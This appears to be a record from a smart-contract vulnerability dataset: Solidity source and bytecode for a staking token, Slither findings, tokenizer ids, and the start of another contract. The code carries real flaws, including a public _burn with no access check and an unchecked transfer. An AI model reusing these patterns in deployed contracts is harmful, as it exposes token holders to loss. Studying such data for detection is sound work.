sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) public { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setChadAddress(address payable chadAddress) public _onlyOwner { chad = chadAddress; } function setOracleAddress(address _oracle) public _onlyOwner { oracle = ExampleOracleSimple(_oracle); } function getBlockNum() public view returns (uint256) { return block.number; } function getLastBlockCheckedNum(address _account) public view returns (uint256) { return _stakedBalances[_account].lastBlockChecked; } function getAddressStakeAmount(address _account) public view returns (uint256) { return _stakedBalances[_account].wojakStaked; } function setDifficulty(uint256 _amount) public _onlyOwner { difficulty = _amount; } function totalStaked() public view returns (uint256) { return wojak.balanceOf(address(this)); } function myRewardsBalance(address account) public view returns (uint256) { if (block.number > _stakedBalances[account].lastBlockChecked) { uint256 rewardBlocks = block.number .sub(_stakedBalances[account].lastBlockChecked); if (_stakedBalances[account].wojakStaked > 0) { return _stakedBalances[account].rewards .add( _stakedBalances[account].wojakStaked .mul(rewardBlocks) / difficulty); } } } function stake(uint256 amount) public updateStakingReward(msg.sender) { require(wojak.transferFrom(msg.sender, address(this), amount)); _stakedBalances[msg.sender].wojakStaked = _stakedBalances[msg.sender].wojakStaked.add(amount); emit Staked(msg.sender, amount, totalStaked()); } function withdraw(uint256 amount) public updateStakingReward(msg.sender) { getReward(_stakedBalances[msg.sender].rewards); _stakedBalances[msg.sender].wojakStaked = _stakedBalances[msg.sender].wojakStaked.sub(amount); wojak.transfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward(uint256 amount) public payable updateStakingReward(msg.sender) { uint256 reward = _stakedBalances[msg.sender].rewards; require(reward >= amount, "Insufficient PEPE balance"); _stakedBalances[msg.sender].rewards = reward.sub(amount); uint256 value = oracle.consult(address(this), amount); uint256 tax = value.mul(4).div(10); require(msg.value >= tax, "Insufficient ethereum tax"); _mint(msg.sender, amount); chad.transfer(tax); uint256 overpaid = msg.value.sub(tax); msg.sender.transfer(overpaid); emit Rewarded(msg.sender, amount, value, tax); } }
0x6080604052600436106101815760003560e01c80637dc0d1d0116100d1578063a57306dc1161008a578063be35ef1411610064578063be35ef141461090b578063dd62ed3e14610970578063e60df1b6146109f5578063ef8d03da14610a5a57610181565b8063a57306dc146107f8578063a694fc3a1461085d578063a9059cbb1461089857610181565b80637dc0d1d0146105f75780637f6c6f101461064e578063817b1cd2146106795780638c897d1c146106a457806395d89b41146106f5578063a457c2d71461078557610181565b80632e1a7d4d1161013e5780634c69c00f116101185780634c69c00f146104ab578063602512e1146104fc5780636161eb181461053757806370a082311461059257610181565b80632e1a7d4d146103cc578063313ce56714610407578063395093511461043857610181565b806306fdde0314610186578063095ea7b31461021657806318160ddd146102895780631c4b774b146102b45780631e34e6e4146102e257806323b872dd14610339575b600080fd5b34801561019257600080fd5b5061019b610ab1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101db5780820151818401526020810190506101c0565b50505050905090810190601f1680156102085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022257600080fd5b5061026f6004803603604081101561023957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b53565b604051808215151515815260200191505060405180910390f35b34801561029557600080fd5b5061029e610b71565b6040518082815260200191505060405180910390f35b6102e0600480360360208110156102ca57600080fd5b8101908080359060200190929190505050610b7b565b005b3480156102ee57600080fd5b506102f7611182565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034557600080fd5b506103b26004803603606081101561035c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111a8565b604051808215151515815260200191505060405180910390f35b3480156103d857600080fd5b50610405600480360360208110156103ef57600080fd5b8101908080359060200190929190505050611281565b005b34801561041357600080fd5b5061041c6116d1565b604051808260ff1660ff16815260200191505060405180910390f35b34801561044457600080fd5b506104916004803603604081101561045b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116e8565b604051808215151515815260200191505060405180910390f35b3480156104b757600080fd5b506104fa600480360360208110156104ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061179b565b005b34801561050857600080fd5b506105356004803603602081101561051f57600080fd5b8101908080359060200190929190505050611838565b005b34801561054357600080fd5b506105906004803603604081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061189b565b005b34801561059e57600080fd5b506105e1600480360360208110156105b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a55565b6040518082815260200191505060405180910390f35b34801561060357600080fd5b5061060c611a9e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065a57600080fd5b50610663611ac4565b6040518082815260200191505060405180910390f35b34801561068557600080fd5b5061068e611acc565b6040518082815260200191505060405180910390f35b3480156106b057600080fd5b506106f3600480360360208110156106c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bad565b005b34801561070157600080fd5b5061070a611c4a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074a57808201518184015260208101905061072f565b50505050905090810190601f1680156107775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079157600080fd5b506107de600480360360408110156107a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cec565b604051808215151515815260200191505060405180910390f35b34801561080457600080fd5b506108476004803603602081101561081b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db9565b6040518082815260200191505060405180910390f35b34801561086957600080fd5b506108966004803603602081101561088057600080fd5b8101908080359060200190929190505050611f6d565b005b3480156108a457600080fd5b506108f1600480360360408110156108bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123bd565b604051808215151515815260200191505060405180910390f35b34801561091757600080fd5b5061095a6004803603602081101561092e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123db565b6040518082815260200191505060405180910390f35b34801561097c57600080fd5b506109df6004803603604081101561099357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612427565b6040518082815260200191505060405180910390f35b348015610a0157600080fd5b50610a4460048036036020811015610a1857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124ae565b6040518082815260200191505060405180910390f35b348015610a6657600080fd5b50610a6f6124fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b495780601f10610b1e57610100808354040283529160200191610b49565b820191906000526020600020905b815481529060010190602001808311610b2c57829003601f168201915b5050505050905090565b6000610b67610b60612520565b8484612528565b6001905092915050565b6000600654905090565b33600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154431115610dae576000610c1d600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544361271f90919063ffffffff16565b90506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115610d6557610d1e600154610cc583600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461276990919063ffffffff16565b81610ccc57fe5b04600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546127ef90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b43600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550505b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905082811015610e6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e73756666696369656e7420504550452062616c616e63650000000000000081525060200191505060405180910390fd5b610e7e838261271f90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ddac95330866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b158015610f6d57600080fd5b505afa158015610f81573d6000803e3d6000fd5b505050506040513d6020811015610f9757600080fd5b810190808051906020019092919050505090506000610fd3600a610fc560048561276990919063ffffffff16565b61287790919063ffffffff16565b90508034101561104b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e73756666696369656e7420657468657265756d207461780000000000000081525060200191505060405180910390fd5b61105533866128c1565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110bd573d6000803e3d6000fd5b5060006110d3823461271f90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561111b573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f8b0e2bc8d7431d7e1d33a520dc171272d01df87b58714a9533e6b8c629ba09a087858560405180848152602001838152602001828152602001935050505060405180910390a2505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111b5848484612a7e565b611276846111c1612520565b61127185604051806060016040528060288152602001612f6d60289139600c60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611227612520565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d389092919063ffffffff16565b612528565b600190509392505050565b33600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544311156114b4576000611323600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544361271f90919063ffffffff16565b90506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154111561146b576114246001546113cb83600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461276990919063ffffffff16565b816113d257fe5b04600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546127ef90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b43600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550505b6114ff600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154610b7b565b61155482600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461271f90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561164357600080fd5b505af1158015611657573d6000803e3d6000fd5b505050506040513d602081101561166d57600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b6000600960009054906101000a900460ff16905090565b60006117916116f5612520565b8461178c85600c6000611706612520565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ef90919063ffffffff16565b612528565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117f457600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189157600080fd5b8060018190555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611921576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612f956021913960400191505060405180910390fd5b61198d81604051806060016040528060228152602001612ee260229139600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d389092919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e58160065461271f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600043905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b6d57600080fd5b505afa158015611b81573d6000803e3d6000fd5b505050506040513d6020811015611b9757600080fd5b8101908080519060200190929190505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c0657600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ce25780601f10611cb757610100808354040283529160200191611ce2565b820191906000526020600020905b815481529060010190602001808311611cc557829003601f168201915b5050505050905090565b6000611daf611cf9612520565b84611daa85604051806060016040528060258152602001612fff60259139600c6000611d23612520565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d389092919063ffffffff16565b612528565b6001905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154431115611f67576000611e5c600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544361271f90919063ffffffff16565b90506000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115611f6557611f5d600154611f0483600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461276990919063ffffffff16565b81611f0b57fe5b04600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546127ef90919063ffffffff16565b915050611f68565b505b5b919050565b33600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544311156121a057600061200f600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544361271f90919063ffffffff16565b90506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115612157576121106001546120b783600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461276990919063ffffffff16565b816120be57fe5b04600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546127ef90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b43600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561227d57600080fd5b505af1158015612291573d6000803e3d6000fd5b505050506040513d60208110156122a757600080fd5b81019080805190602001909291905050506122c157600080fd5b61231682600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546127ef90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055503373ffffffffffffffffffffffffffffffffffffffff167f1449c6dd7851abc30abf37f57715f492010519147cc2652fbc38202c18a6ee908361239d611acc565b604051808381526020018281526020019250505060405180910390a25050565b60006123d16123ca612520565b8484612a7e565b6001905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612fdb6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612634576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f046022913960400191505060405180910390fd5b80600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600061276183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612d38565b905092915050565b60008083141561277c57600090506127e9565b600082840290508284828161278d57fe5b04146127e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612f4c6021913960400191505060405180910390fd5b809150505b92915050565b60008082840190508381101561286d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006128b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612df8565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b612979816006546127ef90919063ffffffff16565b6006819055506129d181600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ef90919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612fb66025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ebf6023913960400191505060405180910390fd5b612bf681604051806060016040528060268152602001612f2660269139600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d389092919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ef90919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612de5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612daa578082015181840152602081019050612d8f565b50505050905090810190601f168015612dd75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612ea4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e69578082015181840152602081019050612e4e565b50505050905090810190601f168015612e965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612eb057fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d987f8791d04c371cf427b945b44aaed9dd2b420aea6d2b4b3bc562e26ca889e64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 22022, 2683, 20952, 2692, 19797, 2546, 2509, 3676, 2683, 21084, 15878, 26976, 2581, 2549, 9468, 16147, 27009, 23352, 2094, 2692, 2063, 16068, 2575, 2475, 2063, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2184, 1011, 5709, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2654, 1008, 1013, 1013, 1008, 1008, 1008, 1030, 16475, 7375, 1997, 1996, 1063, 29464, 11890, 11387, 1065, 8278, 1012, 1008, 1008, 2023, 7375, 2003, 12943, 28199, 2000, 1996, 2126, 19204, 2015, 2024, 2580, 1012, 2023, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,802
0x9764031d6e4b372cdcf166c3bca59ba0f108ca60
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; contract Owned { address public owner; address public proposedOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() virtual { require(msg.sender == owner); _; } /** * @dev propeses a new owner * Can only be called by the current owner. */ function proposeOwner(address payable _newOwner) external onlyOwner { proposedOwner = _newOwner; } /** * @dev claims ownership of the contract * Can only be called by the new proposed owner. */ function claimOwnership() external { require(msg.sender == proposedOwner); emit OwnershipTransferred(owner, proposedOwner); owner = proposedOwner; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * 